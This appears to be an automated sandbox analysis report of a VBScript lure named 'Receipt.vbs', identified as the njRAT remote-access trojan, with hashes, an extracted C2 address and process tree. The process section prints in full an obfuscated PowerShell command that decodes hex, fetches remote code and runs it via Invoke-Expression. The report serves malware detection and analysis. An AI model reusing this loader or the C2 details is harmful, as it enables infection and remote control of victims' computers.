Overview

overview

10

Static

static

Receipt.vbs

windows7_x64

10

Receipt.vbs

windows10_x64

10

Analysis

  • max time kernel
    149s
  • max time network
    183s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    31-08-2021 20:49

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General

  • Target

    Receipt.vbs

  • Size

    3KB

  • MD5

    7847bcdabe1d416d86d06d3c81a11052

  • SHA1

    abaff8024bd174d05edba2c32eb2aa5c0c7071c9

  • SHA256

    6e20ded2b6c78190b5c281cd6d5092cc7336aeab810b98155e118db7801744f1

  • SHA512

    ec48efbf28797aed093951c1d4d885aec8ca186e585922fade445b15b4691c7eb8026338d2f873b33e671652a2301261eb6af3aa55d8b8354a089a00a664676a

Score
10/10
njratbosstrojan

Malware Config

Extracted

Family

njrat

Version

v4.0

Botnet

Boss

C2

103.147.184.73:7103

Mutex

Windows

Attributes
  • reg_key

    Windows

  • splitter

    |-F-|

Signatures

  • njRAT/Bladabindi

    Widely used RAT written in .NET.

    trojannjrat
  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 26 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Receipt.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1924
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SOS='2@-H-53-H-5A-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@E-H-@A-H-53-H-@@-H-@6-H-@7-H-@8-H-20-H-3D-H-20-H-27-H-68-H-7@-H-7@-H-70-H-73-H-3A-H-2F-H-2F-H-7@-H-72-H-61-H-6E-H-73-H-66-H-65-H-72-H-2E-H-73-H-68-H-2F-H-67-H-65-H-7@-H-2F-H-62-H-6D-H-@2-H-6E-H-@2-H-31-H-2F-H-66-H-69-H-78-H-2E-H-7@-H-78-H-7@-H-27-H-3B-H-0D-H-0A-H-2@-H-@5-H-@@-H-52-H-@6-H-@7-H-@8-H-@E-H-@A-H-@D-H-@B-H-@@-H-@5-H-@6-H-@7-H-@8-H-@A-H-20-H-3D-H-20-H-27-H-6E-H-@5-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-@5-H-62-H-@3-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-5@-H-27-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-27-H-2C-H-27-H-7@-H-2E-H-57-H-27-H-29-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-2B-H-27-H-2C-H-27-H-6C-H-@9-H-@5-H-@E-H-27-H-29-H-3B-H-0D-H-0A-H-2@-H-53-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@E-H-@A-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@A-H-@B-H-20-H-3D-H-20-H-27-H-@@-H-@F-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-61-H-@@-H-53-H-5@-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-@7-H-27-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-2A-H-27-H-2C-H-27-H-57-H-6E-H-@C-H-6F-H-27-H-29-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-27-H-2C-H-27-H-72-H-@9-H-6E-H-27-H-29-H-3B-H-0D-H-0A-H-2@-H-53-H-57-H-58-H-@@-H-@5-H-@3-H-52-H-@6-H-@7-H-59-H-@8-H-55-H-@A-H-@9-H-53-H-@@-H-@6-H-56-H-@7-H-@8-H-@A-H-20-H-3D-H-27-H-@9-H-60-H-@5-H-58-H-28-H-6E-H-60-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-60-H-63-H-60-H-5@-H-20-H-2@-H-@5-H-@@-H-52-H-@6-H-@7-H-@8-H-@E-H-@A-H-@D-H-@B-H-@@-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-@7-H-@2-H-@8-H-@E-H-@A-H-53-H-@@-H-@6-H-@7-H-@8-H-29-H-27-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-2D-H-27-H-2C-H-27-H-65-H-60-H-57-H-60-H-2D-H-@F-H-62-H-6A-H-60-H-@5-H-27-H-29-H-2E-H-52-H-65-H-70-H-6C-H-61-H-63-H-65-H-28-H-27-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3C-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-3E-H-27-H-2C-H-27-H-@5-H-@6-H-@7-H-@8-H-@A-H-29-H-2E-H-2@-H-53-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@E-H-@A-H-58-H-@@-H-@3-H-@6-H-56-H-@7-H-@2-H-@8-H-@A-H-@B-H-28-H-2@-H-53-H-5A-H-58-H-@@-H-@3-H-@6-H-56-H-27-H-29-H-3B-H-0D-H-0A-H-26-H-28-H-27-H-@9-H-27-H-2B-H-27-H-@5-H-58-H-27-H-29-H-28-H-2@-H-53-H-57-H-58-H-@@-H-@5-H-@3-H-52-H-@6-H-@7-H-59-H-@8-H-55-H-@A-H-@9-H-53-H-@@-H-@6-H-56-H-@7-H-@8-H-@A-H-20-H-2D-H-@A-H-6F-H-69-H-6E-H-20-H-27-H-27-H-29-H-7C-H-26-H-28-H-27-H-@9-H-27-H-2B-H-27-H-@5-H-58-H-27-H-29-H-3B-H-'.Replace('@','4');Invoke-Expression (-join ($SOS -split '-H-' | ? { $_ } | % { [char][convert]::ToUInt32($_,16) }))
      2⤵
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:852
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1088

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1
T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

  • memory/852-73-0x00000000028A0000-0x00000000028A1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/852-66-0x000000001AC64000-0x000000001AC66000-memory.dmp
    Filesize

    8KB

    Download
  • memory/852-89-0x00000000028E0000-0x00000000028E3000-memory.dmp
    Filesize

    12KB

    Download
  • memory/852-86-0x0000000002920000-0x0000000002921000-memory.dmp
    Filesize

    4KB

    Download
  • memory/852-85-0x0000000002910000-0x0000000002911000-memory.dmp
    Filesize

    4KB

    Download
  • memory/852-65-0x000000001AC60000-0x000000001AC62000-memory.dmp
    Filesize

    8KB

    Download
  • memory/852-67-0x00000000023D0000-0x00000000023D1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/852-68-0x0000000001DD0000-0x0000000001DD1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/852-69-0x000000001C1F0000-0x000000001C1F1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/852-70-0x00000000026E0000-0x00000000026E1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/852-63-0x0000000002390000-0x0000000002391000-memory.dmp
    Filesize

    4KB

    Download
  • memory/852-61-0x0000000000000000-mapping.dmp
    Download
  • memory/852-64-0x000000001ACE0000-0x000000001ACE1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/852-87-0x000000001AC6A000-0x000000001AC89000-memory.dmp
    Filesize

    124KB

    Download
  • memory/852-88-0x000000001C2C0000-0x000000001C2C1000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1088-90-0x0000000000400000-0x000000000040E000-memory.dmp
    Filesize

    56KB

    Download
  • memory/1088-91-0x000000000040836E-mapping.dmp
    Download
  • memory/1088-92-0x0000000000400000-0x000000000040E000-memory.dmp
    Filesize

    56KB

    Download
  • memory/1088-94-0x0000000076691000-0x0000000076693000-memory.dmp
    Filesize

    8KB

    Download
  • memory/1088-95-0x0000000005520000-0x0000000005521000-memory.dmp
    Filesize

    4KB

    Download
  • memory/1924-60-0x000007FEFBFB1000-0x000007FEFBFB3000-memory.dmp
    Filesize

    8KB

    Download